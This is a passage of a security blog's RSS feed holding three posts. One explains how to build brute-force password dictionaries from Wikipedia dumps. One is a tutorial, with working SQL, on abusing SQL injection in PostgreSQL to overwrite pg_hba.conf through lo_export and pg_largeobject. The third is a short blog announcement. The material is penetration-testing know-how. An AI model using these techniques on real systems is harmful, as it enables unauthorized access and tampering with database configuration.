		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Wikipedia as brute forcing dictionary</title>
		<link>http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary</link>
		<comments>http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary#comments</comments>
		<pubDate>Thu, 08 Jan 2009 02:23:42 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[brute forcer]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[dictionary]]></category>
		<category><![CDATA[wikipedia]]></category>
		<category><![CDATA[words]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=32</guid>
		<description><![CDATA[photo credit: ElektraCute The success and the time elapsed in a brute forcing attack depends by the number of discovered brute forcing points, the quality of the tool used (like THC-hydra, brutus or medusa) and the quality of the dictionary used. Sometimes using a incremental dictionary is a waste of time, a good dictionary can [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: right;"><a title="Why do we need a dictionary when we have wireless?" href="http://www.flickr.com/photos/88903556@N00/119058236/" target="_blank"><img class="aligncenter" src="http://farm1.static.flickr.com/37/119058236_445839c2db.jpg" border="0" alt="Why do we need a dictionary when we have wireless?" /></a><br />
<a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="ElektraCute" href="http://www.flickr.com/photos/88903556@N00/119058236/" target="_blank">ElektraCute</a></p>
<p>The success and the time elapsed in a <a href="http://en.wikipedia.org/wiki/Brute_force_attack">brute forcing attack</a> depends by the number of discovered brute forcing points, the quality of the tool used (like <a href="http://freeworld.thc.org/thc-hydra/">THC-hydra</a>, <a href="http://www.hoobie.net/brutus/">brutus</a> or <a href="http://www.foofus.net/jmk/medusa/medusa.html">medusa</a>) and the quality of the dictionary used.</p>
<p>Sometimes using a incremental dictionary is a waste of time, a good dictionary can be the success key to a fast brute forcing attack. Get a dictionary of common words and keep it updated is an hard work.</p>
<p><a href="http://www.wikipedia.org">Wikipedia</a> is a free multilingual encyclopedia, it currently contains <a title="Special:Statistics" href="http://en.wikipedia.org/wiki/Special:Statistics">2,683,099</a> articles. This is a really good database to generate a dictionary of common words.</p>
<p><a href="http://www.wikipedia.org">Wikipedia</a> offers free copies of all available content to interested users. These databases can be used for <a title="Wikipedia:Mirrors and forks" href="http://en.wikipedia.org/wiki/Wikipedia:Mirrors_and_forks">mirroring</a>, personal use, informal backups, or database queries. All text content is licensed under the <a class="mw-redirect" title="Wikipedia:Text of the GFDL" href="http://en.wikipedia.org/wiki/Wikipedia:Text_of_the_GFDL">GNU Free Documentation License</a> (GFDL). Images and other files are available under <a class="mw-redirect" title="Wikipedia:ICT" href="http://en.wikipedia.org/wiki/Wikipedia:ICT">different terms</a>, as detailed on their description pages.</p>
<p>The Wikipedia database download page is available here: <a href="http://en.wikipedia.org/wiki/Wikipedia_database">http://en.wikipedia.org/wiki/Wikipedia_database</a> and the database dumps atre available here: <a href="http://download.wikimedia.org/backup-index.html">http://download.wikimedia.org/backup-index.html</a></p>
<p>A good dictionary must contains the most common terms used in a current language and also common words that can be used as password, an example is &#8220;foo&#8221;, &#8220;bar&#8221;, &#8220;1234&#8243;, &#8220;antani&#8221;, etc.</p>
<p>We can create two types of dictionary, a dictionary contining all the words inside wikipedia, a dictionary containing all article titles, a dictionary containing all the words in the article titles.</p>
<p>After downloading a bunch of gigs we get the wikipedia database dump in XML, the fields that we need to create our dictionay are &lt;title&gt; and &lt;text&gt;.</p>
<p>Now you can create all the types of dictionary that you need: words, titles, case sensitive or case insensitive.</p>
<p>To achieve better performances I used simple bash scripting for parsing because using a DOM or SAX parser is too slow with these very big XMLs.</p>
<p>This dictionary contains all the article titles, so you can guess password like names, cities, etc.</p>
<p>To create it you can use the following or you can edit it to fit your needs, it&#8217;s not beautiful but works:</p>
<p>grep -E &#8216;&lt;title&gt;(.*?)&lt;/title&gt;&#8217; itwiki-20081206-pages-meta-current.xml | cut -d &#8216;&gt;&#8217; -f2| cut -d &#8216;&lt;&#8217; -f1 | grep -v : | sed s/\(.*\)//g| sort | uniq</p>
<p>Word dictionary contains all the words in the wikipedia articles, you can create it with a command similar to the above, I left it for your homework <img src='http://lab.lonerunners.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Happy brute forcing!</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQLi: Writing files to disk under PostgreSQL</title>
		<link>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql</link>
		<comments>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql#comments</comments>
		<pubDate>Sun, 21 Dec 2008 13:03:54 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[writing file]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=17</guid>
		<description><![CDATA[photo credit: Paul Worthington Table of Contents 1. Introduction 2. Default configuration 3. COPY Function 3.1 COPY function abusing 4. BLOB functions 4.1 BLOB functions abusing 5. User defined functions 5.1 User defined functions abusing 6. Conclusions 7. References 1. Introduction The following examples assume access to the database has been achieved through SQL Injection [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img src="http://farm1.static.flickr.com/38/82648702_800bccf11e.jpg" border="0" alt="Pencils and Moleskines 04" /></p>
<h2 style="text-align: right;"><small><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Paul Worthington" href="http://www.flickr.com/photos/33586091@N00/82648702/" target="_blank">Paul Worthington</a></small></h2>
<h2>Table of Contents</h2>
<p>1. Introduction<br />
2. Default configuration<br />
3. COPY Function<br />
3.1 COPY function abusing<br />
4.  BLOB functions<br />
4.1 BLOB functions abusing<br />
5. User defined functions<br />
5.1 User defined functions abusing<br />
6. Conclusions<br />
7. References</p>
<h2>1. Introduction</h2>
<p>The following examples assume access to the database has been achieved through SQL Injection vulnerability in a web application.</p>
<p>Sometimes, against best practice, the application has connected to the database using superuser credentials.</p>
<h2>2. Default configuration</h2>
<p>In some systems the configuration files of PostgreSQL are owned by the user used to run the PostgreSQL process.</p>
<p>For example in my Ubuntu laptop the PostgreSQL configuration file are owned by postgres by default, as you can see:</p>
<pre>$ ls -al /etc/postgresql/8.3/main/
total 44
drwxr-xr-x 2 root     root      4096 2008-05-14 00:20 .
drwxr-xr-x 3 root     root      4096 2008-04-12 15:19 ..
-rw-r--r-- 1 root     root       316 2008-04-12 15:20 environment
-rw-r----- 1 postgres postgres  3845 2008-05-13 23:07 pg_hba.conf
-rw-r----- 1 postgres postgres  1460 2008-04-12 15:20 pg_ident.conf
-rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf
-rw-r--r-- 1 root     root       378 2008-04-12 15:20 start.conf</pre>
<p>All the configuration files are owned by postgres user which can write these.</p>
<p>So anyone that can execute a SQL statement that write files to disk can try to overwrite a configuration file and do all evil things.</p>
<h2>3. COPY Function</h2>
<p>The COPY statement transfers data between PostgreSQL tables and standard file system files.</p>
<p>COPY TO statement copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already).</p>
<p>It can export data as text or PostgreSQL&#8217;s own binary format, which contains a header.</p>
<p>Using COPY with a file name instructs the PostgreSQL server to directly read from or write to a file. The file must be accessible to the server and the name must be specified from the viewpoint of the server. When STDIN or STDOUT is specified, data is transmitted via the connection between the client and the server.</p>
<p>In PostgreSQL 8.0 and later the database file locations can be determined querying system table pg_settings:</p>
<pre>postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------------
/var/lib/postgresql/8.3/main
(1 row)</pre>
<h2>3.1 COPY function abusing</h2>
<p>The files are accessed under the operating system user privilege that the database runs as and it&#8217;s available only to database superusers.</p>
<p>The COPY command does not accept relative paths to prevent the overwriting of a database file, more explanation of this can be found in copy.c source file.</p>
<p>So an attacker can use ~ to write in PostgreSQL home directory and must write files in already known path or a well known directory like /tmp.</p>
<p>The caveat is that the file cannot contain a null byte (0&#215;00) otherwise proceeding bytes will not be written out.</p>
<h2>4.  BLOB functions</h2>
<p>PostgreSQL uses large objects, also called Binary Large Objects, to store very large values and binary data. Large objects permit storage of any operating system file, including images or large text files, directly into the database.</p>
<p>It has provided support for BLOB, also called Large Objects, since version 4.2. From version 7.2 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject.</p>
<p>According to the Database Data Type Comparison Sheet[3] there are two data types used by PostgreSQL to store BLOB:</p>
<p>• BYTEA: used to store small amount of binary data that are stored in the data table</p>
<p>• OID: used to store very large amount of binary data in form of file in the filesystem</p>
<h2>4.1 BLOB functions abusing</h2>
<p>The file is loaded into the database using lo_import(), and is retrieved from the database using lo_export(). These functions take a path as argument that is the path of file to load or the path where export the data in the BLOB field.</p>
<p>In detail[2] to export a large object into an operating system file, call the lo_export() function, with argument that specifies the operating system name of the file.</p>
<p>Note that the file is written by the client interface library, not by the server. Returns 1 on success, -1 on failure.</p>
<p>Reading PostgreSQL documentation in the BLOB section[1] there is the following:</p>
<pre>Files are imported and exported by the postgres user, so postgres must have
permission to read the file for lo_import() and directory write permission for
lo_export().</pre>
<p>So this function can write a file to disk and abusing it we can overwrite the PostgreSQL configuration files.</p>
<p>First of all we need to create a temporary table (if your user have right permissions) to store our evil data:</p>
<pre>postgres=# CREATE TABLE foo (
postgres(# bar oid,
postgres(# id int4,
postgres(# CONSTRAINT id PRIMARY KEY (id) ) WITHOUT OIDS;
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "id" for table "foo"
CREATE TABLE</pre>
<p>The easiest way to load a file is using lo_import() that imports a file from the local file system but if you want to use this you must have a way to store a file on target system.</p>
<pre>postgres=# INSERT INTO foo VALUES (lo_import('/tmp/bar.bin'), 1);
INSERT 0 1</pre>
<p>Now you can try to abuse of lo_export() to overwrite a PostgreSQL configuration file.</p>
<p>If the web application connects to PostgreSQL using a user with superuser permission you can overwrite any configuration file owned by postgres, here we overwrite pg_hba.conf:</p>
<pre>postgres=# SELECT lo_export(bar, '/etc/postgresql/8.3/main/pg_hba.conf') FROM
postgres+# foo WHERE id=1;
lo_export
-----------
1
(1 row)</pre>
<p>If the web application runs as a non-superuser user you can get the following error message:</p>
<pre>Query failed: ERROR: must be superuser to use server-side lo_export() HINT:
Anyone can use the client-side lo_export() provided by libpq.</pre>
<p>If you are exploiting a SQL injection you can&#8217;t use lo_import() because it needs to write files in the local system the pg_largeobject table can be queried and updated directly, it&#8217;s &#8220;data&#8221; column is the equivalent to the BLOB data type found in other DBMS and is of type BYTEA.</p>
<p>Remember that when writing BYTEA data all non printable characters must be represented in octal syntax like 00 and the \ must be escaped if you use it inside a string.</p>
<p>For example 00 becomes 0 inside a string.</p>
<p>A trick is to transfer data encoded in hex or base64 and then decode it in the database, but remember that this cause an overhead, for example of 34% of the file size using base64.</p>
<p>Using direct access to pg_largeobject we can transfer an arbitrary file and then exporting it via lo_export().</p>
<p>First of all you must create a new entry in pg_largeobject.</p>
<pre>postgres=# SELECT lo_create(-1);
lo_create
----------
24586
(1 row)</pre>
<p>And now load your file encoded in base64 (also hex encoding can be used).</p>
<pre>postgres=# UPDATE pg_largeobject SET data = (DECODE('YW50YW5p', 'base64'))
postgres+# WHERE LOID = 24586;
UPDATE 1</pre>
<p>Your file is loaded in the target DBMS, now you can write it to disk using lo_export().</p>
<pre>postgres=# SELECT lo_export(24586, '/etc/postgresql/8.3/main/pg_hba.conf');
lo_export
-----------
1
(1 row)</pre>
<h2>5. User defined functions</h2>
<p>The PostgreSQL functionalities can be extended user-defined functions, data types, triggers, etc[6] written in C or other languages.</p>
<p>By default only superuser can create new functions using language C.</p>
<h2>5.1 User defined functions abusing</h2>
<p>Using a user-defined function is possible to define function to open, create and write files.</p>
<p>The code is not too short and described by Nico Leidecker[5] and also is the author of pgshell[7], a tool to automatize the exploitation process.</p>
<h2>6. Conclusions</h2>
<p>Exploiting a SQL injection to write files in to the attacked system disk can be done in three ways but as you can see in the following comparison table you can do it only if the database user is a superuser.</p>
<pre>+-------------------------------+-------------+------+
|                               | Super user  | User |
+-------------------------------+-------------+------+
+-------------------------------+-------------+------+
|    Write files with COPY      |    YES      |  NO  |
+-------------------------------+-------------+------+
| Write files with lo_export()  |    YES      |  NO  |
+-------------------------------+-------------+------+
|   Write file via extension    |    YES      |  NO  |
+-------------------------------+-------------+------+</pre>
<p>So in the case we aren&#8217;t superuser a privilege escalation vulnerability can be user to upload files.<br />
If you achieve the capability to upload files you can overwrite the PostgreSQL configuration files.</p>
<p><strong>7. References</strong></p>
<p>[1] <a href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html">http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html</a><br />
[2] <a href="http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html">http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html</a><br />
[3] <a href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html">http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html</a><br />
[4] <a href="http://www.postgresql.org/docs/8.1/interactive/sql-copy.html">http://www.postgresql.org/docs/8.1/interactive/sql-copy.html</a><br />
[5] <a href="http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf">http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf</a><br />
[6] <a href="http://www.postgresql.org/docs/8.3/interactive/server-programming.html">http://www.postgresql.org/docs/8.3/interactive/server-programming.html</a><br />
[7] <a href="http://www.leidecker.info/projects/pgshell.shtml">http://www.leidecker.info/projects/pgshell.shtml</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evolution</title>
		<link>http://lab.lonerunners.net/blog/evolution</link>
		<comments>http://lab.lonerunners.net/blog/evolution#comments</comments>
		<pubDate>Sun, 02 Nov 2008 15:12:33 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[evolution]]></category>
		<category><![CDATA[lab]]></category>
		<category><![CDATA[lonerunners.net]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=11</guid>
		<description><![CDATA[photo credit: nattu lonerunners.net is a blog composed by all kind of my crap, cinema, personal facts, technology news and IT security posts, some in italian and others in english. Now all research and information security posts are published here, in english, lab.lonerunners.net wanna be a place for IT security  pills,  hacking drugs, and reserch [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: right;"><a title="It takes a long time to grow young." href="http://www.flickr.com/photos/33345813@N00/1115248583/" target="_blank"><img class="aligncenter" src="http://farm2.static.flickr.com/1192/1115248583_eb1bfd3eb8.jpg" border="0" alt="It takes a long time to grow young." /></a><br />
<a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="nattu" href="http://www.flickr.com/photos/33345813@N00/1115248583/" target="_blank">nattu</a><a title="James Jordan" href="http://www.flickr.com/photos/69826987@N00/814863362/" target="_blank"></a></p>
<p><a href="http://www.lonerunners.net">lonerunners.net</a> is a blog composed by all kind of my crap, cinema, personal facts, technology news and IT security posts, some in italian and others in english.</p>
<p>Now all research and information security posts are published here, in english, <a href="http://lab.lonerunners.net">lab.lonerunners.net</a> wanna be a place for IT security  pills,  hacking drugs, and reserch news.</p>
<p>So <a href="http://lab.lonerunners.net/feed">subscibe</a> to our <a href="http://lab.lonerunners.net/feed">RSS feed</a> to keep updated about cutting edge security pills.</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/evolution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss><!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->

